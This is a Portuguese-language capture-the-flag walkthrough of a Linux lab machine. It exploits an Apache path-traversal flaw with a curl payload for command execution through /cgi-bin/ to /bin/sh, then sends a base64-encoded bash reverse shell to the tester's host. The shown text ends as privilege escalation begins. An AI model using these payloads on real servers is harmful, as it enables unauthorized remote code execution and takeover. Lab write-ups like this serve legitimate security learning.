Informações sobre a maquina:
Pontos: 100
Nível: Médio
SO: Linux
→ Começamos com o básico, escaneando as portas.

Logo vejo a versão do Apache e baseado em outras CTF`s eu sei que existe uma vulnerabilidade nessa versão
→ Abaixo tem a PoC sobre essa vulnerabilidade.
→ Utilizando o curl vamos usar o seguinte payload.
curl <http://10.9.2.20:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh> --data 'echo Content-Type: text/plain; echo; id'

Aqui conseguimos comprovar que nosso exploit está funcionando perfeitamente.
→ Depois de validar a payload, vamos fazer a nossa reverse shell. Para não ter falhas, vou encodar em base64.
$ echo '/bin/bash -i >& /dev/tcp/[IPVPN]/2020 0>&1' | base64
$ curl <http://10.9.2.20:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh> --data 'echo Content-Type: text/plain; echo; echo "L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjEyLjIyOS8yMDIwIDA+JjEK" | base64 -d | /bin/bash'

→ Depois de ter pego a nossa primeira flag, vamos tentar escalonar o nosso privilegio para root. Logo já utilizo o comando sudo -l e vejo um script que pode ser executado com privilegios de root sem a necessidade de senha.
